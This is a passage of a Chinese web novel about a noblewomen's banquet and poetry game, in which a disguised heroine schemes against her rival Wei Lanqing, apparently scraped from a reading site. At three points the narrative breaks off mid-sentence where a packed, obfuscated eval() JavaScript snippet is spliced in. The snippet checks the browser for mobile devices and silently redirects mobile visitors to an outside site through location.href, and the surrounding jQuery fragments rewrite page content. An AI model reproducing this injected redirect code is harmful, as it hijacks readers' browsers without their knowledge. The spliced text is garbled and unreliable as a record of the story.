席上的小姐们开始各聊各话,一会儿叽叽喳喳,一会儿笑语喧嚣,说着说着,也就累了,一位小姐开始用起糕点,结果在翻面的时候发现糕点上竟雕了字,一人盘中盛放了五只糕点,没只糕点上写着的字皆不同,一位小姐惊呼着将五只字连同成串,念了出来:“喧鸟覆春洲?” 对岸的一位贵女听到她的声音,连忙也翻起了自己盘中的糕点,捂嘴惊呼:“杂英满芳甸?” 众位贵女停止了嬉笑,纷纷捧哏:“这是一句配对的诗!” 见到越来越多的贵女对此产生兴趣,藏在幕后的酒楼老板也终于露出了庐山真面目。 他个子不高,身材圆润似酒桶,满脸红光,一看就是油水很足的模样。酒楼元老板咯咯笑起来:“诸位也发现了糕点上的玄机,我特来解释一番。” “金小姐听闻新朋友的到来很是激动,于是想组织一场诗会,但需要组队,两两一组,共计十六组。诗会开始前,诸位小姐应根据每人糕点上的诗句,找到代表各自相配对诗句的小姐。” 他站在花厅正中央,郑重地环视了一下两边席位,看向方才念出诗句的二位小姐,两只手臂摊开,道:“丘小姐与文小姐已成一队。” “诸位小姐开始吧,我便退下了。” 元老板离去后,安静的席面上轰出一片惊笑,有人惊,有人喜,不善诗词的自是前者,善于诗词又爱看热闹的必是后者。 至于看的什么热闹,大家心知肚明——金玉圆口中的“新朋友”就是魏氏魏澜清,想必她也听说了此女在朔州府诗词会上大放光彩、一举摘得“才女”头衔的奇闻轶事了。 金玉圆平日刚好就两大爱好,一是插花,二是作诗,且自负才华,遇到魏澜清这样的对手,她怎么可能不在意? 金玉圆这是要带头针对魏澜清了,想必是一点都想顾及都督的面子了。有金玉圆带头冲锋,诸位小姐当然也会一起跟风,这等场面,想想都令人激动。 魏澜清的脸色在一瞬间变来变去,好似成了刚被捞上的岸的鱿鱼,一会儿黑一会儿白。 她的头衔是抢的别人的,她自己几斤几两,她难道不清楚么?金玉圆在整个京城都是赫赫有名的大才女,她要拿什么跟人家拼?! 诸位小姐已经开始对诗。 席上传来一阵阵诗词声—— “玉阶生白露。” “是我!夜久侵罗袜!” “我来我来!” “千岩泉洒落。” “万壑树萦回?!” 更有甚者,急急忙忙的,直接报出与自己配对的半句诗没,让对方闻讯来找自己。 “湖清霜镜晓!下一句涛白雪山来,是哪位贤才有这半句诗?!” “你违规了!!!” 贵女们闹闹哄哄嚷着,但语气里却没有怒气,更多的是嗔笑和打趣。 后来此类行径没法被阻止,反而愈演愈烈,大家纷纷效仿。 魏郁春没开口,就等着另一个与自己配对的人寻上门来。 不多时,她的确被一位贵女寻上了门来,竟是柳如蕙。柳小姐原本一脸兴奋,但发现对方是一个名不经传还不知名的小女子,心底定然失落,不过陌生便陌生,她性子豪迈,不至于对一个素不相识的人耍心机。 柳如蕙像身边的贵女一样离了席,走到了魏郁春面前来,邀道:“我们是一组的,不如随我一同换个位置去,那魏氏要一直坐我旁边,可真是受不了了。” 魏郁春装出一副受宠若惊的模样,连忙推辞,顺便还捧了她的场:“小女无才无德,哪配与柳小姐坐在一处呢?” 柳如蕙虽然心机重,但却是很容易被人拿捏心性,属于有些坏但不至于坏到烂根的地步,与这种人恭维几声,他们对人的态度便能有所松懈。 所以柳如蕙一听魏郁春的话,顿时笑靥如花,飘飘忽忽的眼神也舍得放了几分到她身上,她道:“钱小姐哪里的话!” 席上贵女纷纷寻到了各自的伙伴,慢慢安静了下来,她们大多都离开了自己的席位,与各自的伙伴开始细声细语地交谈。 元老板见状又带了一批丫鬟进来,宣布起来:“还有哪一位女子是没有伴的?” 孤独一人的魏澜清终于找到了证明存在感的机会,她站起来指着自己道:“是我。” 元老板闻言眯眼笑起来:“恭喜魏小姐,你与金小姐将是一组。” 他的声音全场人都听到了,小姐们又是一阵惊呼:“天,我还打算看金小姐打脸魏氏的戏呢,结果她们是一组的呀?那可怎么好?!没意思了!” 有人反驳道:“你懂什么?金小姐哪一次布置酒宴的巧思不是经她本人钦定的?我觉得就算其他小姐们的分组是随机的,金小姐选择踏入局中,就不可能不提前将自己的戏份安排到位!” “我看啊,金小姐是故意要跟魏氏分到一组的呢!” “为啥啊?!” “卖人情吧?金小姐再不愿意接纳魏氏,也得给都督面子呢。” “也是,金小姐打算跟魏氏一起,我觉得很有蹊跷,她会不会想亲自捉弄人啊?你要知道,金小姐就是这般憨性子呢!” 这些话,魏郁春都听在耳里,也不知道有没有传到魏澜清耳里。 她心中算计起来,她很是倾向于金玉圆是故意设计自己跟魏澜清一组这个猜测,也许是打算卖个人情,把身上的责任推给别人,想要一身干干净净,也许是为了更进一步算计魏澜清,让对方颜面尽失……她未见金玉圆本人,也不清楚她的性子,目前念头摇摆不定,不成定局。 元老板话音结束,他邀着身后的两排丫鬟上来撤走吃食,魏郁春心惊,因为她还没来得及品尝它们的美味,它们便要消失了。 她也终于意识到了这场宴席的奢侈程度远超想象,精美的糕点只是一项可以利用的摆设,其他的作用,大家根本不屑于借此发挥。 丫鬟将盘子与糕点撤走,继而在席面上铺上了几层印着碎金箔的宣纸,墨水、毛笔等文房四宝皆备齐。 诸位丫鬟神色稳沉,做事手段利利落落,显得庞小曲的身影有些突兀,对比别人,她的身段突出,毛手毛脚的模样也突出。魏郁春一抬眼就把注意力全部投射到了庞小曲身上,目光之热切,庞小曲还算警惕,也循着感觉看向了魏郁春的方向。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447434|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>魏郁春心中大喜,以为她注意到了自己,想要发出对接的信号,结果又被打断。 站在她一侧的柳如蕙问她:“妹妹你在看什么呢?” 魏郁春连忙收回目光,道:“没什么,有些好奇罢了。” 庞小曲没发现目光源头,放好东西,依旧毛手毛脚地退走了。 魏郁春失落,但不表露在外,又听到柳如蕙说道:“你脸上怎么回事?这等大场面,你挡着个脸做什么?” 柳如蕙还是个自来熟,她对钱雀并不了解,所以也不知道她戴面纱的用意。 魏郁春解释起自己“烂脸”的遭遇,柳如蕙吓得花容失色,对她的脸也不感兴趣,甚至还急忙走开,活似怕自己的漂亮脸蛋也被传染似的。 柳如蕙一走,魏郁春身上绷着的劲儿瞬间被释放。 众位贵女皆回到了自己应落座的位置,仔细听元老板交代游戏规则。 “配对成功后严禁各位贵女私下换座。” “午后开席后,金小姐入席,诗会正式开始。” “各二人自成一组,进行比拼,赢到最后的那组人,不仅能获得下一次参宴的机会,还能得到金小姐特地准备的宴礼。为了让大家放开玩耍,金小姐特地交代了两件事。” 元老板点头哈腰,越说越来劲,好似参加诗会的也有他这一号人物:“第一,诗会规则不定,在开席前这一个时辰里,金小姐希望诸位可以各抒己见,每个人的意见都会被我收走,等金小姐过目后筛选下来当作诗会的规则。” 魏郁春闻言有些震惊,但身侧诸人却没什么反应,好似在听的只是一件习惯不能的事情,跟元老板的反应天差地别。 她也很快反应了过来,金小姐为人随性跳脱,这种事情她从前应该也办得不少。她又想到早晨关阇彦跟她交代的一些话,他要她近魏氏的身,从她身上套走关键消息。 这事可难办得厉害,但关阇彦或许早就知道这次酒宴上的内幕,所以才会那么计划呢? 如果她可以利用这次诗会,比如,赢一次便能获得一次套话的机会什么的。 但直接这样做有太多风险,诸人皆知道魏氏是才女,身为钱雀的魏郁春,才气十足,却也不能以这个身份在明面上打她的脸,太可疑了,到时候身份都会不保。 金小姐又跟魏氏一组,要赢就得将她们二人都打败,这谈何容易? 而且她又怎么去保证金小姐一定能保下她的意见呢? 还是难办。 魏郁春眉头紧蹙。 不久后她心中有了只权宜之计。 金玉圆要魏澜清与自己一组,多半是为了卖人情,她们不得第一谁能得第一?那魏郁春又为何非要执着于通过赢的方式来获取情报?但如果她只负责安置攻击的矛头,却把推手的位置让给别人呢? 魏澜清是今日宴会上的红人,在座各位哪一个对她不好奇?她利用这一点,抛出一个关于她的问题引人目光,舆论导向就此形成,大家都会开始用这种方式对魏澜清展开攻击。 她则只需要坐在幕后,当一个人默默无闻的参与者,没人会在意她的存在。因为席上不缺她一个对魏澜清有邪念的人。 这一点可以保住她的身份,却不一定能让金玉圆产生兴趣。 所以魏郁春只需要将这个念头包装起来,本质一样,外表花里胡哨,再暗暗引导引导金玉圆对魏澜清的探索欲,金玉圆又怎么不会对这个想法感兴趣呢? 魏郁春瞬间不慌张了,她气定神闲地坐着,开始思考要如何包装自己的计划。 她想到了不久前,以柳如蕙为首的贵女们对魏澜清公开嘲弄的话。 其中有两个引子,一个是护身符,还有一个是玉佩。 她清楚地记得,当时魏澜清说的话—— “这只平安符是我娘家今年春节刚为我求的,这些玉佩则是昨晚夫君为我……” 昨晚?那不就是关阇彦好奇的芳樱楼之事吗?玉佩应该就是昨晚关昀洲带她游街时给她买的。 看来魏澜清是真不清楚自己的未婚夫在搞什么名堂,她只觉得自己被未婚夫带出来逛了灯市,给她买了漂亮华贵的的玉佩。 用这只玉佩当引子,不仅可以牵扯出昨晚关昀洲所做之事,还能牵扯出当下最火热的话题——芳樱楼杀人纵火案。 真是两全其美。 魏郁春忽然觉得这是天助我也的事。 她已经在心中摩拳擦掌,并打算玩一玩“抛物溯源”的游戏了。 92. 抛物溯源 诸位贵女交头接耳,一会儿皱着眉头往其他人桌上眇上几眼,一会儿自己握着笔杆子呆呆地坐在那边,苦思冥想。 倒是魏郁春撩袖敛衽,笔速飞快,丝毫不受旁人干扰,奋笔疾书,她身侧的一位少女被她的阵仗弄得目瞪口呆,旋即凑过来要看她写了什么。 魏郁春不在意她的目光,任由她将自己的念头看光,毕竟这些迟早都会被别人知晓,若是旁人想要照葫芦画瓢,那就更好了,多一个人愿意附和,就越说明她的这些想法的确很吸睛。话题有了热度,又得到别人追捧,这些想法被金玉圆选上的几率就更甚些了。 那位少女在心中喃喃起来,内容正是魏郁春写的东西—— 抛物溯源:用投骰子的方式选择出两只对弈的队伍,四人进行对峙,只有一方二人中,有一人输,赢者其中一人必须选输者其中一人身上一样感兴趣的物品拿走。 若输者不愿舍物,则需要解释与物件有关的源头轶事,以此作为双方其他二人继续对峙的代价。若输者愿意舍物,则视为自动弃权,输者离局。以此类推,到最后身上换取物品最多的人,便是诗会夺魁之人。 本想偷瞄点别人答案的少女看完这一大段内容,忘记了本心,压着声音连连夸赞:“好生精彩,活像是本戏折子!” “我喜欢这个!投你一票了!” 少女年纪不大,两只葡萄眼亮晶晶的,活似刚从海里捞出来的黑水晶。她撂下笔杆子,抱住魏郁春的胳膊,欢喜道:“嘿,你叫什么名字,这么激灵!我喜欢你!” 少女的热情,魏郁春根本招架不住,她生怕脸上的面纱被她扯掉,正襟危坐,委婉与她交谈。 二人你来我往之间,时间也就过去了,元老板遣人来将贵女们书写的纸张收走。 桌面变得空白,外面午阳热切,元老板带着人推开花厅大门出去的时候,一阵阵热浪翻滚进来,好是燥热。婢子们端着灌了冰块的凉垫子进来,随后一对又一对送菜的队伍接踵而至,空白的桌子被各色奇珍美食占满了,叫人目不暇接。 魏郁春又看到了庞小曲的身影,二人几番错过,魏郁春不甘心,她借着与身旁交好少女敬酒的机会,不小心将酒水洒到了路过撤步的庞小曲。席上乐曲缠绵缭绕,舞女粉墨登场,铿铿锵锵,没多人注意到她这里的异常。唯有那庞小曲大惊不已,她盯着魏郁春一会儿,沉静的眼中闪过几丝慌张,好似突然变了个人,蓄满仓皇的眼底里是魏郁春不会看错的陌生感。 这是怎么回事?庞小曲不认识自己? 关阇彦连酒席内幕都拿捏得清清楚楚,找个对接人更不可能出错。 难道,那人根本不是庞小曲?!这怎么可能?! 魏郁春有些慌神,她又没办法当场从席位上跳出来抓人问个清楚,又一次眼巴巴地看着奴婢们退去,被身边闹闹哄哄的少女声叫着。 她一直压着声线与少女应和,不久后,花厅的大门又被人重重拉开,一位身着华服,头戴艳丽金玫瑰的女子迈着轻佻的步子进来,她年纪不大,才十五六岁刚及笄的模样,眸眼清澈,笑容憨态,看起来脾气跳脱又随性的模样,和传闻中那个喜爱奢华、爱显风光的大小姐的形象有些出入。 若非中晋当朝贵妃爱戴牡丹,市井留有禁忌,金玉圆必会换掉夹在鬓上插花似样式的金玫瑰,换上一团又一团大红大紫的华贵牡丹。 无论牡丹还是玫瑰,皆是市井贵族妇人显摆慵荣之态时才会用的装饰物。而金小姐年纪轻轻便喜好这种事物,喜欢便罢了,还极爱用,用上不仅不显老气,反而只会帮忙衬托出她身上那一股炸眼般的亮色,更显年轻娇媚,能令其产生此效果的地方,多在金玉圆那张引人瞩目的面容上。 金色花钿点缀额间,双眼下长着一对极其对称的朱色小痣,脸蛋极小,圆圆润润,脸庞上的肉白嫩饱满,好像刚熟透的小苹果。她面相温和,笑容憨态可掬,但大大的眼睛里却储满了聪颖之气。 金玉圆身边站着一对动作小心翼翼的婆子,婆子刚放下推门的手,金玉圆就迫不及待地溜达了进去,后面两个婆子急着追上去,口中心惊胆战地念着:“小姐!小姐!慢些,莫要摔着了!” 金玉圆对此全然不顾,站在大厅中央,缓缓快快地舞起了衣袖,翩翩绕了一圈,环视了席下人,席下贵女纷纷站直,屈膝行礼,声音清脆而浩荡:“向金小姐请安了。” 场面之浩大,魏郁春在动作间也不惊讶口轻叹。 金玉圆收袖,抬了食指抵在娇嫩的唇瓣边,道:“嘘,跟大家说个好玩的!” 众位贵女互相张望了几眼,捧哏:“是。” “其实我早就到了!不过呢,春桃酒楼里的侍从发现,酒楼里混进了奸细!我又惊又怕,寻思着这奸细偏偏要挑今日过来,必是瞧上了我这酒宴的排场,说不定就是诸位中的一员呢!我本来打算和元老板一起将这位奸细搜出来,但想来想去,还是觉得有趣,我很好客哦,所以不打算让别人搜了,我要亲自会会此人,再亲自将她抓出来哦!” 话音方落,席中鸦雀无声,有贵女开始用眼神扫视他人,仿佛在怀疑奸细是谁,其中获得最多眼神关注的人,便是魏郁春。 因为她是唯一一个用面纱遮住面容的贵女,本意是遮掩面容,不好引人注意,但若一堆人里唯有她特立独行,再无辜的初衷都会变成吞没她的罪根。 她也被金玉圆注意到了。 金玉圆迈着款款的步子靠近了魏郁春,声音雀跃:“你就是钱小姐?” 这不是明知故问? 魏郁春委婉点头,浑身上下冒着大家闺秀的气,没有丝毫破绽。 “我看到了你的意见,好生厉害,我用了!” 金玉圆来到身边凝视自己的时候,魏郁春紧张地屏住了呼吸,但发现金玉圆的眼神没有任何攻击性,对她也没有任何怀疑心和敌意。 金玉圆说罢还特地抬手捂住了嘴,小声起来:“你脸的事情我听说了,你不用紧张。” 金小姐竟看穿了她绷紧的状态,魏郁春已觉着自己是善于伪装情绪的人了,结果会被别人一眼洞穿,她有些汗颜,同时感到恐惧。金玉圆说的奸细便是她,她到底该怎么在这场宴会上混下去?所谓的帮手貌似没用场,连人影都不知道在哪儿,她怎么会不恐惧? 魏郁春笑着回应她,然后金玉圆一个挥手,两个婆子齐刷刷小跑到跟前来,从袖子中取来两只玉瓶。金玉圆要求魏郁春接下。 然后她道:“此乃玉女金容霜,你用了保准能好呢,就当是你提出那般精彩意见的奖品了。” 魏郁春欠身:“多谢金小姐。” 金玉圆快步离开,坐到自己的席位上去,她人影一离,好多双眼神虎视眈眈着盯着魏郁春手中的玉女金容霜。魏郁春瞥眸刚好与远处的魏澜清对视,魏澜清眼中冒着深不见底的邪气,多么令人熟悉——她又嫉妒了。魏郁春忍不住笑了,她没有发出声音,但眉梢却没忍住上挑了,有些得意。 她身侧的少女连忙招手跑到她耳边来小声窃语:“你还愣着干嘛呀,这玉女霜可是宫里面皇后御赐下来的东西,全京城恐怕就两三瓶,谁都想要!你赶紧把这容霜收回去,到时候惹更多贵女嫉妒了怎么办呀!” 怪不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447435|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这群贵女的眼神会如此骇人,敢情是嫉妒别人出了风头。不过这倒也正常,这个圈子里的女人,没几个是心机单纯的,就连魏郁春自己都心思如波涛汹涌。恐怕当下也就魏郁春身边这个少女心思会单薄一些。 金玉圆落座,诸人纷纷盏酒,觥筹交错间,舞女献才,琴笛共鸣,体如游龙、袖如回雪的绰绰身影中,一拨又一拨的酒菜被端上来,皆是正菜。菜上完了,舞曲还在继续,席中贵女借着乐曲连绵、人声传不太出去的空子,与身侧的姐妹一起评曲赏舞、咯咯嬉笑。 舞曲步入尾声,金玉圆拍了拍手掌让漂亮的女子们下去,她提盏欢饮,高声大喝:“欢迎诸位赏脸来我主办的宴会,实属是我的荣幸了!” 第二波敬酒起来,接下来金玉圆倒是没再说话,倒是席下的诸位贵女开始献起美言,一个又一个,诸位捧脸,一句美言下去,诸人都要你看我我看你地鼓掌叫好,有些虚伪的奉承之意,惹得惯是高风亮节的魏郁春起了一身的鸡皮疙瘩。 她原本心中的紧张之意,在不知何时,被这股不耐烦的情绪冲了个一干二净。她唯一焦灼的是,到底什么时候才会进入诗会的正题。她已经等不下去了。 终于,诸人不说话了,金玉圆也改变了注意力,她看向离自己最近的魏澜清,魏澜清被那股看似亲和实则内带审视意味的眼神盯着,有些不自在,差点端起来的贵女架子就要散掉。 幸好,她这个人不要脸惯了,还是稳住了心神,大大方方承下金玉圆的目光。 金玉圆面挂微笑,语气兴奋:“久闻魏小姐的盛名,如今终得一见,幸甚至哉啊。” 魏澜清皮笑肉不笑着:“蒙受金小姐的盛情,实为莫大之荣。” 金玉圆:“我听说了,今日宴席诗会上,魏小姐将与我是一组。我好生期待。” 她语气平常,话意也无甚能考究的,但却还是让人觉得,她口中的期待满含虚伪。 与其说是期待魏澜清跟她一起夺得今日诗魁之名头,不如说,是在期待魏澜清在诗会众人面前丢尽脸光。 金玉圆自负才女盛名,看似亲和憨厚,实际上怎么会忍住不与人暗暗较劲?她是京城名流,她也是朔州府鼎鼎大名的才女,她与她在同一宴席上,好似是两只老虎站定山头。可一山不容二虎,金玉圆本就不喜魏澜清,这下,用厌恶来形容她对她的情绪好似都不得劲了。 但魏澜清可是关家的人,明面上金玉圆动不得她,所以先与魏澜清分为一组,让外人觉得她是想帮衬魏澜清,实际上,离得越近危险才会越可怖。 金玉圆玩得一手表里不一的手段,她实在想亲自探探魏澜清的底。 直到此时,魏郁春也终于算定了这一局面,确信金玉圆的心思,但还是有些怀疑,金玉圆虽要强自负,却也不至于这么抵触厌恶魏澜清,毕竟京城、朔州府,二地虽皆繁华,但分量上差了十万八千里,就算她与魏澜清是两只老虎,但也是金宫贵虎与山间野老虎的差距。金玉圆,对魏澜清的敌意,恐怕没有那么简单。 魏郁春心思狡黠,她很快就料到,其中渊源必与安南都督有关。 她忿忿咬牙,想道:“关阇彦这厮必又是出去沾花惹草了!” 假定金小姐也是被他玩弄的对象之一,又不及时醒悟,听闻心上人忽然娶了个女子,那女子还远远比不上自己,她这种心性,如何不生气? 啧,魏郁春回想在古溪村时被关阇彦迷得没魂儿似的过去,只恨席上不能当即裂开一条缝把她给抓进去。真是耻辱,耻辱! 在她对关阇彦愈发不屑的同时,诗会也悄悄拉开了帷幕。 93. 春宴风波(1) 金玉圆再度称赞起魏郁春的妙计:“今日诗会,诸位妙计连连,我甚是欢喜,尤其是钱小姐那一计‘抛物溯源’令我刮目相看。” 她叫来身边二位婆子,要她们将方才魏郁春写好的纸张取来,给席下众位贵女详细念读起来。 “用投骰子的方式选择出两只对弈的队伍……” “若输者不愿舍物……便是诗会夺魁之人。” 婆子们话音沉稳,语速缓慢,确保一次下来,便可令众人全部深晰于此。 规则落定后,原本惯会用不解怀疑与嫉妒不瞒目光凝视魏郁春的贵女们,纷纷讶口惊叹,她们再次望向魏郁春时,眼里情绪清澈了不少。 金玉圆揽臂让婆子们退避身后,她站起来,满目笑意:“诸位明白规则了么?是不是特别有趣?” 诸位脆生生道:“是啊!” 魏郁春也藏在其中滥竽充数着。 她刚松口气,就听到金玉圆话音突变,其中有些爱戏耍旁人的邪气:“能藏在我们当中的奸细若能光明正大地进来,她早就这么干了,何必用些龌龊的动作呀?此人要么才华低弱,要么嘛,身世低下,身上没什么好物,也惯不会形容此物渊源。诸位看呐,抛物溯源的游戏,既有趣,还能助我早些抓住奸细呢!” 她笑得越来越开心,但不知为何总给人无形的压迫力。 她看出一些贵女面上的忧虑之色,忙补道:“诸位也莫要因奸细一事感到慌张,我早已在花厅外与酒楼外派了一对金卫守住了,任何人都无法伤害我们。当然,重重包围下,一只麻雀,一只蚂蚁都不可能逃出去,更不提奸细那一个活生生的人了。” 有贵女奉承起来,语气愤慨:“希望金小姐早些捉拿奸细!” 魏郁春一时不知自己提的意见,到底是福是祸。 她恐怕会因此而身份暴露,但诸人看在是她自己提的意见,也不会相信会有人蠢到搬起石头砸自己的脚,所以暂时不会怀疑她。 她身边的少女拉住她唏嘘道:“也不知是什么人这么不要命,往酒席上凑呢!要知道,金小姐小时候有过这方面的心理阴影,对付起贼人,手段相当狠辣不留情的!” 魏郁春:“……” “你怎么不理我呀?” 魏郁春扯了扯少女的衣袖,让她看金玉圆的脸色,金小姐说正事的时候,不爱有人与她抢话,她听到少女的声音,眼神已经看过来了。 少女捂嘴:“……” 二位婆子齐齐上场,各提着一只铜锣跟棒槌,站到席中央,敲响起来:“咚咚咚,春桃诗会正式开始!” “快摇骰子!快摇骰子!” 金玉圆欢快道,她已经放开了架子,诸位贵女备受感染,也欢呼雀跃起来,花厅中的氛围越发火热了! “点数最小的两个人所代表的队伍先出列!” “是谁啊?!” 婆子大声主持诗会:“请柳小姐柳如蕙与龚二小姐龚婷所代表的队伍出列吧!” 龚二小姐实际上就是魏郁春身边那个单纯又聒噪的少女。 少女闻言大惊失色:“怎么第一个就是我呀!我最讨厌的就是作诗了!啊啊啊!” “我记得柳小姐的搭档是你钱小姐对么?哎呀就当卖个人情,你下口轻些呀!” 魏郁春扶额,好像有些为难。 没等她开口,龚婷就已经自我开解了:“柳小姐也是大才女呀!钱小姐,我要不赶紧弃权吧!你们晋上去,就当是我卖你人情了,下次记得请我吃饭!” 魏郁春哭笑不得,觉得此妹妹也是相当可爱了,她颔首:“好,下次一定。” 四个人对阵,以酒宴之名“春桃”为题作赋,选题简单,魏郁春看到柳如蕙面露得意,就知道对方自有定夺,她便打算隐身,让搭档出个风头,降低些存在感。 “多闻古津留桃声,不知仙人喜葬春。” 柳如蕙春风满面,诗句中好似藏了一整个春花烂漫的盛季,引人入胜,初闻只觉身临灿烂盛景中,细品又慨花落荼蘼之时的无奈之感,仙气之飘飘,弱化悲感,情绪朦胧,回味无穷。 不愧是柳才女。 龚婷一听,脸色平静了。她抬眸望向自己的搭档,也是一脸迷茫,她叹息道:“诸位也知道的,我自幼与诗画无缘,唯有琴技可保雅兴。柳小姐惊才绝艳,我自叹弗如!” “这是要弃权了?!” 金玉圆开腔:“那柳小姐与钱小姐商量商量,选一位小姐身上的一只物件作为胜筹?” 柳如蕙扫视了龚婷与另外一个小姐身上的饰物。 龚婷眨巴眨巴眼,疯狂示意让柳如蕙跟魏郁春选自己,好让自己早日立场,少些折磨。 魏郁春笑了,柳如蕙也明了其意,只管要了龚婷身上一只不大起眼的珠串手链,给足了人面子,把自己的形象维护得极好,可见在为人处世方面很有手段。 别的贵女们纷纷起哄:“也不知此珠串是何来头,有何渊源?!” 龚婷汗颜:“哪有什么渊源!” 她笑嘻嘻地抬臂,豪迈至极:“我弃权了!” 贵女们震惊:“龚二小姐不怕自家爹爹责难她么?她爹爹可是好不容易送她进来的呢?!” “谁懂她?”大家笑嘻嘻的,好似把龚二小姐当作可以笑话的异类。 金玉圆颔首,命婆子将龚婷的位置往后置了置,诗会继续进行,龚婷的搭档则继续留在席上参会。 “第二轮,开始掷骰子吧!” “快快快,下一位幸运儿是哪几位小姐呀?!” 婆子们上场:“请金大小姐与刘小姐刘玉鱼代表的队伍出列!” 金玉圆摩擦手掌,道:“可算是到我了!” 她看向自己的搭档:“魏小姐,准备好了吗?” 魏澜清默默攥紧了拳头,看似平静道:“是的。” “取个什么题呢?”金玉圆与诸位小姐皆有些迷茫。 但贵女当中有心思的却不敢说,若是简单了就是瞧不起金小姐,要是难了就是故意刁难金小姐,可谓是里外不是人。金玉圆心里也觉得不对劲,她若是给自己出题,不就是自我包庇?旁人如何承认她的才华? 久久僵持下,她唤了酒楼的元老板来取题,最后选题为“灯花”。 金小姐作为东道主,必是要第一个念诗的。她勾了勾手腕,不过半圈,她便得意洋洋地念叨起来:“远看是白枝金粟,骏马上花剑并醉。” 全句未见选题中一字,却总让人浮想联翩,好似看到了这样一副画面——一位身着劲装的少女醉酒驾马越城,挑着剑,朦胧着醉眼看着满城灯火,却以为是一簇簇白枝金粟样的花丛,有灯,亦有花。 这句诗看似简单,却是完美地映衬了金小姐的性子,好生精彩。 诸位贵女惊诧地仿佛要倒地过去。 金玉圆话音落下,诸人将目光放到魏小姐身上,好似很期待她能作出什么诗句来。 魏澜清敛了敛慌色,绞尽脑汁想出一句:“金钗玉骨静坐亭,百转灯花寄相思。” 听起来是不错,就是少了点什么,情绪有些空洞,矫揉造作的,用词还刻意。满句子的情情爱爱,比起金玉圆那句处处彰显江湖儿女仗剑天涯的气脉,逊色了太多。见字如面,魏澜清本身也是这样一个颇显小家子气的人。 贵女们没忍住,私底下笑起来,小声嘀嘀咕咕:“不是吧,堂堂朔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447436|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州大才女,竟只有这种水平么?” “她能作的,我也能作,甚至能作得更好些!” “若是没有金小姐映衬,这魏小姐说不定还能留点面子给自己……这差距有些太大了。” “魏小姐好像怪小家子气的,我可不喜欢这种女子。” 金玉圆也听到了这些流言,她没有制止,表情淡定,但眼底却浮现着若隐若现的快意,她轻咳几声,示意对方一组人继续说诗。 刘玉鱼等二人原本以为对峙金玉圆已毫无胜算,打算歇菜,谁知道魏澜清一开口是这般颜色,她心底有些不服气,想着输给金小姐便罢了,怎么能输给魏澜清? 她们二人各自念出两句诗句,中规中矩,不如醉酒灯花,却比相思灯花漂亮自然多了。 但按照诗会规矩,只要其中一方有人赢了,那整个队伍都应该赢。 刘玉鱼指出不对之处:“若魏小姐与金小姐旗鼓相当,我们二人甘拜下风。不过,魏小姐的诗句恐怕差些意思吧,我们输给她,多少是不服气的,还请金小姐为我们做主!” 金玉圆颔首,然后略表同情地看向身侧冒着冷汗的魏澜清道:“魏小姐,方才也许状态不佳,能理解。但别的好友不满,我也不可不顾她们。我对规则略加修改,你可愿意?” 魏澜清哪有拒绝的资格?她心中不愿,口中却不得不换话:“自是愿意的。” 魏郁春悄悄观察着这一切,也看到了魏澜清那对隐隐发颤的耳垂。 金玉圆道:“不如这样,二人一组的规矩不变,选择对阵的方式也不变,不过,四个人都须针对诗题作赋,赢者不再代表队伍,而是代表个人。” “不过,若是这样,就没有分组的必要了,一个人跟一个人对诗有些没劲儿,所费掉的诗题也会变多,”金玉圆思索起来,“所以,最后的诗魁的名额设为两人,赢了的人所在队伍都是胜者,大家互帮互助,各自取舍定夺,岂不有趣?” 刘玉鱼方听明白,又试探地询问起来:“所以,方才的输者不再是我们了,而是金小姐的搭档魏小姐么?” 金玉圆颔首。 金玉圆又转身,走到魏澜清身侧,拍了拍她的肩膀,好似是在关心她。 “魏小姐,对不住啦。” 刘玉鱼与搭档商量着要拿魏澜清哪样东西。 最后她们瞄准了最开始魏澜清忍不住多嘴炫耀的那只护身符。 魏郁春有些失望,因为对她来说,更重要应该是护身符旁,那只魏澜清与假都督共逛灯市时,得到的那只玉佩。 罢了,不过是再多等几轮的事罢了。 魏澜清神色扭曲,但她趁着垂首解符的空子,避开了诸人的目光,她重新抬头时,阴郁的神色全然不见。 刘玉鱼笑起来:“魏小姐是想将此物给我再弃权,还是打算叙其渊源继续参会呢?” 魏澜清想都不想,自是要继续参会,她要开口时,金玉圆突然道:“魏小姐,可不能说谎呢,必须认真说。” 魏澜清颤了颤眼光,瞥到退到金小姐身后的其中一个婆子不知何时,手里已经端了一只簿子和提了一只墨笔,准备誊写什么。 无需金小姐开金口,婆子望着魏澜清,解释道:“宴席上有细作,难免会胡乱编造事实,所以老奴得一一记下来,喊上全京城最好的跑腿伙计立马核实。还望魏小姐理解金小姐的苦心。” 魏澜清挤出一只和善的笑容,温言温语:“婆婆哪里的话,我自会认真解释的。” 